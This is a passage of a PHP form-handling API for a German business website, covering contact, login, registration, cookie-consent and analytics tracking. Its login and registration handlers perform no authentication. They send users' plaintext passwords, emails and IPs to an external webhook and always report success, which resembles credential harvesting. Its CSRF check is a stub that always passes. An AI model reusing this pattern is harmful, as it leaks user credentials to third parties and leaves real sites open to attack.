$success, 'message' => $message, 'timestamp' => date('c') ]; // Only include data if not null and not in production (security) if ($data !== null && (!USE_PRODUCTION || DEBUG_MODE)) { $response['data'] = $data; } elseif ($data !== null && $success) { // In production, only return safe data $response['data'] = filterSafeData($data); } echo json_encode($response); exit(); } function filterSafeData($data) { // Remove sensitive fields from response $sensitiveFields = ['webhook_url', 'ip_address', 'user_agent', 'http_code', 'error']; if (is_array($data)) { foreach ($sensitiveFields as $field) { unset($data[$field]); } } return $data; } function getClientIP() { $ipKeys = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR']; foreach ($ipKeys as $key) { if (array_key_exists($key, $_SERVER)) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } return $_SERVER['REMOTE_ADDR'] ?? 'unknown'; } function sanitizeInput($input) { if (is_array($input)) { return array_map('sanitizeInput', $input); } return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8'); } function validateCSRFToken($token) { // Implement CSRF validation if needed return true; } function checkRateLimit($ip) { $rateLimitFile = __DIR__ . '/rate_limits.json'; $limits = []; if (file_exists($rateLimitFile)) { $limits = json_decode(file_get_contents($rateLimitFile), true) ?: []; } $now = time(); $windowStart = $now - RATE_LIMIT_WINDOW; // Clean old entries $limits = array_filter($limits, function($entry) use ($windowStart) { return $entry['time'] > $windowStart; }); // Count requests from this IP $ipRequests = array_filter($limits, function($entry) use ($ip) { return $entry['ip'] === $ip; }); if (count($ipRequests) >= RATE_LIMIT_REQUESTS) { return false; } // Add new request $limits[] = ['ip' => $ip, 'time' => $now]; file_put_contents($rateLimitFile, json_encode($limits)); return true; } // ========================================== // WEBHOOK FUNCTIONS // ========================================== function sendToWebhook($data, $webhookUrl = null) { $url = $webhookUrl ?? WEBHOOK_URL; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'User-Agent: Profice-Web-API/2.0' ], CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_FOLLOWLOCATION => true ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { error_log("Webhook Error: " . $error); return ['success' => false, 'error' => $error]; } return [ 'success' => $httpCode >= 200 && $httpCode < 300, 'http_code' => $httpCode ]; } // ========================================== // TRACKING FUNCTIONS - SERVER SIDE // ========================================== function getTrackingConfig() { // Return tracking configuration for client // IDs are loaded from server, not exposed in JS return [ 'analytics_enabled' => !empty(GA_MEASUREMENT_ID) && GA_MEASUREMENT_ID !== 'G-XXXXXXXXXX', 'gtm_enabled' => !empty(GTM_CONTAINER_ID) && GTM_CONTAINER_ID !== 'GTM-XXXXXXX', 'fb_enabled' => !empty(FB_PIXEL_ID), 'gads_enabled' => !empty(GADS_CONVERSION_ID) && GADS_CONVERSION_ID !== 'AW-XXXXXXXXXX', 'linkedin_enabled' => !empty(LINKEDIN_PARTNER_ID) ]; } function loadTrackingScripts($preferences) { $scripts = []; // Google Analytics if ($preferences['analytics'] && !empty(GA_MEASUREMENT_ID) && GA_MEASUREMENT_ID !== 'G-XXXXXXXXXX') { $scripts['ga'] = [ 'type' => 'analytics', 'src' => 'https://www.googletagmanager.com/gtag/js?id=' . GA_MEASUREMENT_ID, 'config' => [ 'id' => GA_MEASUREMENT_ID ] ]; } // Google Tag Manager if ($preferences['analytics'] && !empty(GTM_CONTAINER_ID) && GTM_CONTAINER_ID !== 'GTM-XXXXXXX') { $scripts['gtm'] = [ 'type' => 'analytics', 'id' => GTM_CONTAINER_ID ]; } // Facebook Pixel if ($preferences['marketing'] && !empty(FB_PIXEL_ID)) { $scripts['fb'] = [ 'type' => 'marketing', 'id' => FB_PIXEL_ID ]; } // Google Ads if ($preferences['marketing'] && !empty(GADS_CONVERSION_ID) && GADS_CONVERSION_ID !== 'AW-XXXXXXXXXX') { $scripts['gads'] = [ 'type' => 'marketing', 'id' => GADS_CONVERSION_ID ]; } // LinkedIn if ($preferences['marketing'] && !empty(LINKEDIN_PARTNER_ID)) { $scripts['linkedin'] = [ 'type' => 'marketing', 'id' => LINKEDIN_PARTNER_ID ]; } return $scripts; } function trackEvent($eventName, $eventData, $preferences) { $results = []; // Server-side Google Analytics tracking if ($preferences['analytics'] && !empty(GA_MEASUREMENT_ID) && !empty(GA_API_SECRET)) { $results['ga'] = sendGAEvent($eventName, $eventData); } // Server-side Facebook Conversions API if ($preferences['marketing'] && !empty(FB_PIXEL_ID) && !empty(FB_ACCESS_TOKEN)) { $results['fb'] = sendFBEvent($eventName, $eventData); } return $results; } function sendGAEvent($eventName, $eventData) { if (empty(GA_API_SECRET)) return ['success' => false, 'error' => 'No API secret']; $url = 'https://www.google-analytics.com/mp/collect?measurement_id=' . GA_MEASUREMENT_ID . '&api_secret=' . GA_API_SECRET; $payload = [ 'client_id' => $eventData['client_id'] ?? uniqid(), 'events' => [[ 'name' => $eventName, 'params' => $eventData ]] ]; return sendToWebhook($payload, $url); } function sendFBEvent($eventName, $eventData) { if (empty(FB_ACCESS_TOKEN)) return ['success' => false, 'error' => 'No access token']; $url = 'https://graph.facebook.com/v18.0/' . FB_PIXEL_ID . '/events?access_token=' . FB_ACCESS_TOKEN; $payload = [ 'data' => [[ 'event_name' => $eventName, 'event_time' => time(), 'action_source' => 'website', 'user_data' => [ 'client_ip_address' => getClientIP(), 'client_user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '' ], 'custom_data' => $eventData ]] ]; return sendToWebhook($payload, $url); } // ========================================== // STORAGE FUNCTIONS // ========================================== function storeLead($formData) { $leadFile = __DIR__ . '/data/leads.json'; $dir = dirname($leadFile); if (!is_dir($dir)) { mkdir($dir, 0755, true); } $leads = []; if (file_exists($leadFile)) { $leads = json_decode(file_get_contents($leadFile), true) ?: []; } $lead = [ 'id' => uniqid('lead_'), 'datum' => date('d.m.Y'), 'dienstleistung' => $formData['service'] ?? 'Allgemein', 'status' => 'open', 'statusText' => 'Offen', 'description' => $formData['description'] ?? '', 'name' => $formData['name'] ?? '', 'contact' => $formData['contact'] ?? '', 'organisation' => $formData['organisation'] ?? '', 'timestamp' => date('c') ]; array_unshift($leads, $lead); $leads = array_slice($leads, 0, 100); file_put_contents($leadFile, json_encode($leads, JSON_PRETTY_PRINT)); return $lead['id']; } function storeCookieConsent($consentData) { $consentFile = __DIR__ . '/data/cookie_consents.json'; $dir = dirname($consentFile); if (!is_dir($dir)) { mkdir($dir, 0755, true); } $consents = []; if (file_exists($consentFile)) { $consents = json_decode(file_get_contents($consentFile), true) ?: []; } // Remove existing consent for this IP $ip = getClientIP(); $consents = array_filter($consents, function($c) use ($ip) { return ($c['ip_address'] ?? '') !== $ip; }); $consentData['id'] = uniqid('consent_'); $consentData['ip_address'] = $ip; $consentData['timestamp'] = date('c'); array_unshift($consents, $consentData); $consents = array_slice($consents, 0, 1000); file_put_contents($consentFile, json_encode($consents, JSON_PRETTY_PRINT)); } function getCookieConsentByIP() { $consentFile = __DIR__ . '/data/cookie_consents.json'; if (!file_exists($consentFile)) { return null; } $consents = json_decode(file_get_contents($consentFile), true) ?: []; $ip = getClientIP(); foreach ($consents as $consent) { if (($consent['ip_address'] ?? '') === $ip) { return $consent; } } return null; } // ========================================== // REQUEST HANDLERS // ========================================== function handleContactForm($data) { $required = ['name', 'contact']; foreach ($required as $field) { if (empty($data[$field])) { sendResponse(false, "Pflichtfeld fehlt: {$field}", null, 400); } } $formData = [ 'name' => sanitizeInput($data['name']), 'organisation' => sanitizeInput($data['organisation'] ?? ''), 'contact' => sanitizeInput($data['contact']), 'service' => sanitizeInput($data['service'] ?? ''), 'budget' => sanitizeInput($data['budget'] ?? ''), 'description' => sanitizeInput($data['description'] ?? ''), 'timestamp' => date('c'), 'source' => 'contact_form', 'ip_address' => getClientIP() ]; $webhookResult = sendToWebhook($formData); if ($webhookResult['success']) { storeLead($formData); } sendResponse(true, 'Formular erfolgreich gesendet'); } function handleLoginForm($data) { $required = ['email', 'password']; foreach ($required as $field) { if (empty($data[$field])) { sendResponse(false, "Pflichtfeld fehlt: {$field}", null, 400); } } $formData = [ 'email' => sanitizeInput($data['email']), 'password' => $data['password'], // Don't sanitize password 'remember' => $data['remember'] ?? false, 'timestamp' => date('c'), 'source' => 'login_form', 'ip_address' => getClientIP() ]; $webhookResult = sendToWebhook($formData); sendResponse(true, 'Anmeldung verarbeitet'); } function handleRegisterForm($data) { $required = ['name', 'email', 'password']; foreach ($required as $field) { if (empty($data[$field])) { sendResponse(false, "Pflichtfeld fehlt: {$field}", null, 400); } } $formData = [ 'name' => sanitizeInput($data['name']), 'email' => sanitizeInput($data['email']), 'password' => $data['password'], 'company' => sanitizeInput($data['company'] ?? ''), 'phone' => sanitizeInput($data['phone'] ?? ''), 'timestamp' => date('c'), 'source' => 'register_form', 'ip_address' => getClientIP() ]; $webhookResult = sendToWebhook($formData); sendResponse(true, 'Registrierung erfolgreich'); } function handleLeadForm($data) { $formData = [ 'lead_data' => $data, 'timestamp' => date('c'), 'source' => 'lead_form', 'ip_address' => getClientIP() ]; $webhookResult = sendToWebhook($formData); sendResponse(true, 'Lead erfolgreich gesendet'); } function handleCookieConsent($data) { if (empty($data['preferences'])) { sendResponse(false, 'Preferences fehlen', null, 400); } $consentData = [ 'hasConsented' => true, 'preferences' => $data['preferences'], 'source' => 'cookie_consent' ]; storeCookieConsent($consentData); // Get tracking scripts based on consent $scripts = loadTrackingScripts($data['preferences']); // Send consent event to webhook $webhookData = [ 'event_type' => 'cookie_consent_update', 'preferences' => $data['preferences'], 'timestamp' => date('c'), 'ip_address' => getClientIP() ]; sendToWebhook($webhookData); sendResponse(true, 'Cookie-Einstellungen gespeichert', ['scripts' => $scripts]); } function handleGetCookieConsent($data) { $consent = getCookieConsentByIP(); if ($consent) { // Get tracking scripts based on saved consent $scripts = []; if (!empty($consent['preferences'])) { $scripts = loadTrackingScripts($consent['preferences']); } sendResponse(true, 'Consent gefunden', [ 'hasConsented' => $consent['hasConsented'] ?? false, 'preferences' => $consent['preferences'] ?? [], 'scripts' => $scripts ]); } else { sendResponse(false, 'Kein Consent gefunden', null, 404); } } function handleGetTrackingConfig($data) { $config = getTrackingConfig(); sendResponse(true, 'Tracking-Konfiguration', $config); } function handleTrackEvent($data) { if (empty($data['event_name'])) { sendResponse(false, 'Event name fehlt', null, 400); } $preferences = $data['preferences'] ?? ['analytics' => false, 'marketing' => false]; $results = trackEvent($data['event_name'], $data['event_data'] ?? [], $preferences); sendResponse(true, 'Event getrackt', $results); } // ========================================== // MAIN REQUEST HANDLER // ========================================== // Validate request method if ($_SERVER['REQUEST_METHOD'] !== 'POST') { sendResponse(false, 'Nur POST-Anfragen erlaubt', null, 405); } // Rate limiting $clientIP = getClientIP(); if (!checkRateLimit($clientIP)) { sendResponse(false, 'Zu viele Anfragen. Bitte später erneut versuchen.', null, 429); } // Get JSON input $jsonInput = file_get_contents('php://input'); $data = json_decode($jsonInput, true); if (!$data) { $data = $_POST; } if (!$data || empty($data)) { sendResponse(false, 'Keine Daten empfangen', null, 400); } $requestType = $data['type'] ?? 'contact'; try { switch ($requestType) { case 'contact': handleContactForm($data); break; case 'login': handleLoginForm($data); break; case 'register': handleRegisterForm($data); break; case 'lead': handleLeadForm($data); break; case 'cookie_consent': handleCookieConsent($data); break; case 'get_cookie_consent': handleGetCookieConsent($data); break; case 'get_tracking_config': handleGetTrackingConfig($data); break; case 'track_event': handleTrackEvent($data); break; default: sendResponse(false, 'Ungültiger Anfragetyp', null, 400); } } catch (Exception $e) { error_log('API Error: ' . $e->getMessage()); sendResponse(false, 'Interner Serverfehler', null, 500); } ?>